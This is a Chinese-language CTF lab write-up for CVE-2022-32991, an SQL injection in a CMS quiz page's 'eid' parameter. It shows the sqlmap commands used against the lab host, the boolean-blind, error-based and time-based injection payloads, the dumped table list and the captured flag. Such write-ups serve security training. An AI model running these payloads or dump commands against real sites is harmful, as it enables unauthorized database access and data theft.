春秋云镜 - CVE-2022-32991

发布时间 2023-09-21 09:40:42作者: lockly

靶标介绍:
该CMS的welcome.php中存在SQL注入攻击。

访问页面,先注册,使用邮箱加密码登录。

image-20230921091101203

bp抓包,后台挂上sqlipy然后去测welcome.php,常用的语句都没成功但过一会就有了结果,注入点在eid这个参数,看payload是bool盲注。

image-20230921092246074

直接sqlmap一把梭,脱裤。

sqlmap -r sql.txt --dbs --batch

image-20230921091623444

剩下的就简单了:

root@Lockly temp/tmp » sqlmap -r sql.txt -D ctf --tables --batch
...
[09:17:02] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.20
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[09:17:02] [INFO] fetching tables for database: 'ctf'
[09:17:02] [WARNING] reflective value(s) found and filtering out
[09:17:02] [INFO] retrieved: 'user'
[09:17:02] [INFO] retrieved: 'options'
[09:17:02] [INFO] retrieved: 'quiz'
[09:17:03] [INFO] retrieved: 'admin'
[09:17:03] [INFO] retrieved: 'questions'
[09:17:03] [INFO] retrieved: 'history'
[09:17:03] [INFO] retrieved: 'rank'
[09:17:03] [INFO] retrieved: 'flag'
[09:17:03] [INFO] retrieved: 'answer'
Database: ctf
[9 tables]
+-----------+
| admin     |
| history   |
| options   |
| rank      |
| user      |
| answer    |
| flag      |
| questions |
| quiz      |
+-----------+


root@Lockly temp/tmp » sqlmap -r sql.txt -D ctf -T flag --columns --batch
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.7.9#stable}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:18:02 /2023-09-21/

[09:18:02] [INFO] parsing HTTP request from 'sql.txt'
[09:18:03] [INFO] resuming back-end DBMS 'mysql' 
[09:18:03] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: eid (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: q=quiz&step=2&eid=-8440' OR 5703=5703#&n=1&t=34

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: q=quiz&step=2&eid=60377db362694' OR (SELECT 3817 FROM(SELECT COUNT(*),CONCAT(0x7176627871,(SELECT (ELT(3817=3817,1))),0x71706a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- trpQ&n=1&t=34

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: q=quiz&step=2&eid=60377db362694' AND (SELECT 1411 FROM (SELECT(SLEEP(5)))hVOO)-- gdHD&n=1&t=34
---
[09:18:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.20
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[09:18:03] [INFO] fetching columns for table 'flag' in database 'ctf'
[09:18:03] [WARNING] reflective value(s) found and filtering out
[09:18:03] [INFO] retrieved: 'flag'
[09:18:04] [INFO] retrieved: 'varchar(1024)'
Database: ctf
Table: flag
[1 column]
+--------+---------------+
| Column | Type          |
+--------+---------------+
| flag   | varchar(1024) |
+--------+---------------+

[09:18:04] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2zei2boyfnmt1xivgitc.cloudeci1.ichunqiu.com'

[*] ending @ 09:18:04 /2023-09-21/

root@Lockly temp/tmp » sqlmap -r sql.txt -D ctf -T flag -C flag --dump --batch
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7.9#stable}
|_ -| . [.]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:18:48 /2023-09-21/

[09:18:48] [INFO] parsing HTTP request from 'sql.txt'
[09:18:48] [INFO] resuming back-end DBMS 'mysql' 
[09:18:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: eid (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: q=quiz&step=2&eid=-8440' OR 5703=5703#&n=1&t=34

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: q=quiz&step=2&eid=60377db362694' OR (SELECT 3817 FROM(SELECT COUNT(*),CONCAT(0x7176627871,(SELECT (ELT(3817=3817,1))),0x71706a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- trpQ&n=1&t=34

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: q=quiz&step=2&eid=60377db362694' AND (SELECT 1411 FROM (SELECT(SLEEP(5)))hVOO)-- gdHD&n=1&t=34
---
[09:18:48] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.20
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[09:18:48] [INFO] fetching entries of column(s) 'flag' for table 'flag' in database 'ctf'
[09:18:49] [WARNING] reflective value(s) found and filtering out
[09:18:49] [INFO] retrieved: 'flag{dca0ffb4-d243-4ebc-b6da-68da58943fd5}'
Database: ctf
Table: flag
[1 entry]
+--------------------------------------------+
| flag                                       |
+--------------------------------------------+
| flag{dca0ffb4-d243-4ebc-b6da-68da58943fd5} |
+--------------------------------------------+

[09:18:49] [INFO] table 'ctf.flag' dumped to CSV file '/root/.local/share/sqlmap/output/eci-2zei2boyfnmt1xivgitc.cloudeci1.ichunqiu.com/dump/ctf/flag.csv'
[09:18:49] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2zei2boyfnmt1xivgitc.cloudeci1.ichunqiu.com'

[*] ending @ 09:18:49 /2023-09-21/

root@Lockly temp/tmp »